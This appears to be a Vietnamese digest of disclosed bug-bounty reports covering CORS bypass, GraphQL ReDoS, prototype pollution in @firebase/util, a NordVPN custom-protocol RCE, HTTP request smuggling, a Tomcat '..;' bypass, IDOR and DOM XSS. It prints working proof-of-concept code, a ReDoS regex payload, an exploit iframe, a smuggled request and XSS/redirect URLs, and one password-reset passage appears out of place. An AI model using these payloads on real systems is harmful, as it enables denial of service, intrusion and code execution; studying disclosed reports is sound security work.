CORS bypass on TikTok Ads Endpoint

Một endpoint của TikTok Ads portal có CORS policy có thể bị bypass và dẫn đến là attacker có thể truy cập vào thông tin của ticket đang mở nếu user click vào một malicious link (mà có thực hiện cross-origin request).

CS Money - ReDoS on wiki.cs.money graphQL endpoint (AND probably a kind of command injection)

Endpoint /graphql có một query operation tên là search:

query a { 
  search(q: "AAA", lang: "en") {
    _id
   weapon_id
    rarity
    collection{ _id name }
    collection_id 
 
 }
}

Đổi param q thành \u0000 thì response quăng lỗi cho biết input không thể chứa null byte:

{
  "errors": [
    {
      "message": "value (?=.*\u0000) must not contain null bytes",
      "locations": [
        {
          "line": 2,
          "column": 3
        }
      ],
      "path": [
        "search"
      ],
      "extensions": {
        "code": "INTERNAL_SERVER_ERROR"
      }
    }
  ],
....[Resumed]

Nếu đổi param q thành \u0000) thì response quăng lỗi cho biết rằng input sẽ được dùng làm regex pattern phục vụ cho việc filter:

{
 "errors": [
   {
     "message": "Invalid regular expression: /(?=.*X))/: Unmatched ')'",
     "locations": [
       {
         "line": 2,
         "column": 3
       }
...[Resumed]

Sử dụng payload [a-zA-Z0-9]+\\s?)+$|^([a-zA-Z0-9.'\\w\\W]+\\s?)+$\\ để gây ra DOS bằng cách gửi khoảng 100 request.

Node.js third-party modules - [@firebase/util] Prototype pollution | HackerOne

Hàm deepCopy và hàm deepExtend của package https://www.npmjs.com/package/@firebase/util cho phép thêm hoặc thay đổi các properties của Object prototype và điều này có thể dẫn đến lỗ hổng Prototype Pollution.

Cài đặt: npm i @firebase/util.

PoC script:

const utils = require('@firebase/util');
 
const obj = {};
const source = JSON.parse('{"__proto__":{"polluted":"yes"}}');
console.log("Before : " + obj.polluted);
utils.deepExtend({}, source);
// utils.deepCopy(source);
console.log("After : " + obj.polluted);

Output:

Before : undefined
After : yes

Có thể thấy, obj đã bị polluted bằng thuộc tính polluted thông qua hàm deepExtend (hoặc deepCopy).

Nord Security - Possible RCE through Windows Custom Protocol on Windows client

NordVPN client ở trên Windows có một custom protocol NordVPN.Notification cho phép giao tiếp với NordVPN.exe thông qua browser (tương tự như cách mà Discord web app mở Discord desktop app). Tuy nhiên, class NordVpn.Views.ToastNotifications.ListenNotificationOpenUrl trong executable sẽ gọi đến hàmProcess.Start với các đối số có thể kiểm soát và class NordVpn.Views.ToastNotifications.ListenNotificationOpenUrl có thể được trigger thông qua custom protocol NordVPN.Notification. Dẫn đến, attacker có thể RCE khi user click vào một link được crafted.

PoC cho việc tạo ra URL:

// Program.cs
using System;
using System.Collections.Generic;
using NordVpn.Core.Tools;
using NordVpn.Core.Models.ToastNotifications.Notifications;
using System.Diagnostics;
 
namespace ExploitApp
{
    class Program
    {
        static void Main(string[] args)
        {
            Dictionary<string, string> arguments = new Dictionary<string, string>();
            arguments["OpenUrl"] = "calc.exe";
            NotificationActionArgs toastArgs = new NotificationActionArgs("", arguments);
            String exploit = ObjectCompressor.CompressObject(toastArgs);
            Console.Write(String.Format("NordVPN.Notification:{0}", exploit));
            Console.ReadKey();
        }
    }
}

Sau đó nhúng URL vào thẻ iframe:

<!-- exploit.html -->
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Exploit</title>
</head>
<body>
    <iframe src="NordVPN.Notification:UAAAAB+LCAAAAAAABAANy0EKgCAQBdC7/LV0AHdC0K5WHWAQi4FpFB2hkO5eb/8Glpp7gQcc1mx8cCTjrEFJHuPYZjKC1y7iEOrZr6TW4Ae2knSv8tdIEqd0J7zvBy7afohQAAAA"></iframe>
</body>
</html>

Khi người dùng truy cập link, sẽ có một pop up hiện lên và nếu user chọn “Open NordVPN” thì command sẽ được execute và calc.exe sẽ được mở lên.

Potential HTTP Request Smuggling in Node.js

Node.js cho phép sử dụng các header có cùng tên trong HTTP request và nó chỉ sử dụng header đầu tiên. Điều này có thể dẫn đến lỗ hổng HTTP Request Smuggling.

Tác giả reproduce bằng cách dựng HA Proxy version 1.5.3 (vulnerable) sử dụng config sau nhằm cấm việc truy cập đến path /flag:

global
 daemon
 maxconn 256
 
defaults
 mode http
 timeout connect 5000ms
 timeout client 50000ms
 timeout server 50000ms
 
frontend http-in
 bind *:80
 default_backend servers
 acl url_403 path_beg -i /flag
 http-request deny if url_403
 
backend servers
 server server1 127.0.0.1:8080 maxconn 32

Backend server (node.js + express.js):

var express = require('express');
var app = express();
var bodyParser = require('body-parser')
 
app.use(bodyParser())
 
app.get('/', function (req, res) {
    res.send('Hello World!');
});
 
app.get('/flag', function (req, res) {
    res.send('flag is 1a2b3c4d5e6f');
});
 
app.post('/', function (req, res) {
    res.send('Hello World!');
});
 
app.listen(8080, function () {
    console.log('Example app listening on port 8080!');
});

Để tấn công, attacker sẽ dùng request sau để thực hiện tấn công TE.TE Behavior Obfuscating the TE Header:

POST / HTTP/1.1
Host: 127.0.0.1
Transfer-Encoding: chunked
Transfer-Encoding: chunked-false
 
1
A
0
 
GET /flag HTTP/1.1
Host: 127.0.0.1
foo: x
 
 

HA Proxy sẽ forward toàn bộ request đến node.js server do nó sử dụng header Transfer-Encoding: chunked-false. Khi node.js server nhận được request thì nó sẽ sử dụng header Transfer-Encoding: chunked và chỉ đọc đến chunk size 0 rồi nghĩ rằng toàn bộ phần còn lại tính từ GET /flag HTTP/1.1 là của một request khác. Điều này dẫn đến việc HA proxy không thể phát hiện được unauthorized access đến /flag và node.js server vẫn accept request.

Theo RFC 7230, nếu receiver nhận được nhiều header cùng tên thì nó sẽ combiner lại bằng cách join các giá trị của các header cùng tên lại, cách nhau bởi dấu phẩy.

A recipient MAY combine multiple header fields with the same field name into one "field-name: field-value" pair, without changing the semantics of the message, by appending each subsequent field value to the combined field value in order, separated by a comma. The order in which header fields with the same field name are received is therefore significant to the interpretation of the combined field value; a proxy MUST NOT change the order of these field values when forwarding a message.

Điều này có nghĩa là header Transfer-Encoding: chunked-false, chunked vẫn là hợp lệ.

Tuy nhiên, việc sử dụng Transfer-Encoding: chunked-false, chunked hay Transfer-Encoding: chunked, chunked-false đều không gây ra lỗ hổng.

..; Bypass Leading to Tomcat Scripts

Bằng cách sử dụng kỹ thuật ..;, attacker có thể bypass được cơ chế bảo vệ của Tomcat và truy cập vào các example/test scripts nằm ở thư mục /examples (là thư mục mặc định của Tomcat) trong môi trường test. Các file ở đó chứa rất nhiều example servletsJSP.

[ https://█████████/..;/examples/servlets/servlet/SessionExample] | Will lead to Session Manipulation and potential Account Takeover. Because the session is global this servlet poses a big security risk as an attacker can potentially become an administrator by manipulating its session.
 
[https://████████/..;/examples/servlets/servlet/CookieExample] | Insecure Cookie Handling
 
[https://████████/..;/examples/servlets/] | Source Code Disclosure and an "Execute" option
 
[https://███████/..;/examples/servlets/servlet/RequestHeaderExample] | Internal IP disclosure

Đặc biệt, file /examples/servlets/servlet/SessionExample cho phép thao túng session và có thể giúp cho attacker trở thành admin.

Khi user yêu cầu reset password và nhấn vào link được gửi đến email, application sẽ cung cấp một cookie với thời gian khá dài:

Nếu một người dùng nào đó khác dùng chung máy tính thì có thể truy cập vào trang forgot password (https://hosted.weblate.org/accounts/reset/) để thực hiện reset password.

View Another User Information with IDOR Vulnerability

Lỗ hổng IDOR tồn tại ở “My Profile Page” và được khai thác bằng cách thay đổi cookie UID2=4820038 thành UID2=4820036.

Cross-site Scripting (XSS) - DOM - iqcard.informatica.com

Lỗ hổng tồn tại ở trang iqcard.informatica.com/pub/fujitsu/fm3v2/player/attach.html và có chứa đoạn code bị dính lỗ hổng DOM XSS như sau:

<HTML>
<HEAD>
<SCRIPT>
function GetAttach()
{
	var strSearch = document.location.search
	strSearch = strSearch.substring(1)
	
	document.location.replace(strSearch)
}
</SCRIPT>
</HEAD>
<BODY onload='GetAttach()'>
 
 
</BODY>
</HTML>

URL để redirect: https://iqcard.informatica.com/pub/fujitsu/fm3v2/player/attach.html?evil.com.

URL để XSS: https://iqcard.informatica.com/pub/fujitsu/fm3v2/player/attach.html?javascript:alert(1).

Có thể thấy, cả 2 URL đều sử dụng TÊN của query param làm payload.